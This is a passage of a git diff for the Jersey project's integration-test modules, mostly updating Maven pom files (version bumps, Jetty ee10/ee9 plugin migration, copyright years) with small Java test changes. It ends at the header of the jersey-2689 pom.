@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-1883</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1928/pom.xml b/tests/integration/jersey-1928/pom.xml index daea1a5..c0791f9 100644 --- a/tests/integration/jersey-1928/pom.xml +++ b/tests/integration/jersey-1928/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>jersey-1928</artifactId> @@ -57,8 +57,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml index 468385f..67b88e7 100644 --- a/tests/integration/jersey-1960/pom.xml +++ b/tests/integration/jersey-1960/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-1960</artifactId> @@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -63,8 +62,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml index 1bd2cc1..b0c106d 100644 --- a/tests/integration/jersey-1964/pom.xml +++ b/tests/integration/jersey-1964/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-1964</artifactId> @@ -48,7 +48,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -70,8 +69,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml index 0577609..6d3987f 100644 --- a/tests/integration/jersey-2031/pom.xml +++ b/tests/integration/jersey-2031/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -25,7 +25,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2031</artifactId> @@ -46,7 +46,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> @@ -67,8 +66,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee9</groupId> + <artifactId>jetty-ee9-maven-plugin</artifactId> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml index 01cc34a..b3a88d7 100644 --- a/tests/integration/jersey-2136/pom.xml +++ b/tests/integration/jersey-2136/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2136</artifactId>
diff --git a/tests/integration/jersey-2137/pom.xml b/tests/integration/jersey-2137/pom.xml index b767dbc..5ed4487 100644 --- a/tests/integration/jersey-2137/pom.xml +++ b/tests/integration/jersey-2137/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2137</artifactId>
diff --git a/tests/integration/jersey-2154/pom.xml b/tests/integration/jersey-2154/pom.xml index 63056f6..bab5d62 100644 --- a/tests/integration/jersey-2154/pom.xml +++ b/tests/integration/jersey-2154/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2154</artifactId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml index 0d34282..965b340 100644 --- a/tests/integration/jersey-2160/pom.xml +++ b/tests/integration/jersey-2160/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2160</artifactId> @@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -63,8 +62,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml index 57d3e21..aa283be 100644 --- a/tests/integration/jersey-2164/pom.xml +++ b/tests/integration/jersey-2164/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2164</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml index 1005ef7..2a643ba 100644 --- a/tests/integration/jersey-2167/pom.xml +++ b/tests/integration/jersey-2167/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2167</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2176/pom.xml b/tests/integration/jersey-2176/pom.xml index 24aa77b..2e98ace 100644 --- a/tests/integration/jersey-2176/pom.xml +++ b/tests/integration/jersey-2176/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2176</artifactId> @@ -41,7 +41,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -63,8 +62,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee9</groupId> + <artifactId>jetty-ee9-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java index 4bc3f0c..bff0fe2 100644 --- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java +++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,6 +34,7 @@ property(ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, setStatusOverSendError); register(MyWriterInterceptor.class); register(Issue2176ReproducerResource.class); + register(Jersey2176ExceptionMapper.class); } public boolean isSetStatusOverSendError() {
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java new file mode 100644 index 0000000..3a97c3d --- /dev/null +++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java
@@ -0,0 +1,31 @@ +/* + * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.integration.jersey2176; + +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.ext.ExceptionMapper; + +public class Jersey2176ExceptionMapper implements ExceptionMapper<Throwable> { + @Override + public Response toResponse(Throwable exception) { + if (exception instanceof WebApplicationException) { + return ((WebApplicationException) exception).getResponse(); + } + return Response.status(Response.Status.INTERNAL_SERVER_ERROR).entity(exception).build(); + } +}
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java index ddb6b60..dadc0cd 100644 --- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java +++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -61,6 +61,9 @@ } catch (final Throwable th) { status = "FAIL"; } finally { + if (((HttpServletResponse) response).getStatus() == 500) { + status = "FAIL"; + } final long duration = System.nanoTime() - startTime; ((HttpServletResponse) response).addHeader(X_SERVER_DURATION_HEADER, String.valueOf(duration)); ((HttpServletResponse) response).addHeader(X_STATUS_HEADER, status);
diff --git a/tests/integration/jersey-2184/pom.xml b/tests/integration/jersey-2184/pom.xml index d4f0303..b04e813 100644 --- a/tests/integration/jersey-2184/pom.xml +++ b/tests/integration/jersey-2184/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2184</artifactId> @@ -42,7 +42,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -64,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml index ae7df01..add5231 100644 --- a/tests/integration/jersey-2255/pom.xml +++ b/tests/integration/jersey-2255/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2255</artifactId> @@ -64,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml index fc5f567..d73e88f 100644 --- a/tests/integration/jersey-2322/pom.xml +++ b/tests/integration/jersey-2322/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2322</artifactId> @@ -58,22 +58,14 @@ <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <excludes> - <exclude>**/*</exclude> - </excludes> - <testExcludes> - <testExclude>**/*</testExclude> - </testExcludes> - </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml index 6a0a032..60612a4 100644 --- a/tests/integration/jersey-2335/pom.xml +++ b/tests/integration/jersey-2335/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2335</artifactId> @@ -60,8 +60,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2421/pom.xml b/tests/integration/jersey-2421/pom.xml index 8705c2e..1a7c805 100644 --- a/tests/integration/jersey-2421/pom.xml +++ b/tests/integration/jersey-2421/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2421</artifactId>
diff --git a/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java b/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java index bae7758..79be107 100644 --- a/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java +++ b/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -38,7 +38,6 @@ import org.glassfish.jersey.media.multipart.FormDataMultiPart; import org.glassfish.jersey.media.multipart.MultiPart; import org.glassfish.jersey.media.multipart.MultiPartFeature; -import org.glassfish.jersey.message.internal.NullOutputStream; import org.glassfish.jersey.message.internal.OutboundMessageContext; import org.junit.jupiter.api.Test; @@ -61,7 +60,7 @@ request.setStreamProvider(new OutboundMessageContext.StreamProvider() { @Override public OutputStream getOutputStream(final int contentLength) throws IOException { - return new NullOutputStream(); + return OutputStream.nullOutputStream(); } }); request.writeEntity();
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml index f767620..b2075c2 100644 --- a/tests/integration/jersey-2551/pom.xml +++ b/tests/integration/jersey-2551/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2551</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml index c8b9abf..4a77762 100644 --- a/tests/integration/jersey-2612/pom.xml +++ b/tests/integration/jersey-2612/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2612</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml index 1f04049..02a3bae 100644 --- a/tests/integration/jersey-2637/pom.xml +++ b/tests/integration/jersey-2637/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2637</artifactId> @@ -38,7 +38,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -64,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml index 3034e36..cd29d07 100644 --- a/tests/integration/jersey-2654/pom.xml +++ b/tests/integration/jersey-2654/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2654</artifactId> @@ -55,8 +55,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml index e228add..ffcc0be 100644 --- a/tests/integration/jersey-2673/pom.xml +++ b/tests/integration/jersey-2673/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2673</artifactId> @@ -53,7 +53,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -75,8 +74,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml index deb934a..d859cfe 100644 --- a/tests/integration/jersey-2689/pom.xml +++ b/tests/integration/jersey-2689/pom.xml
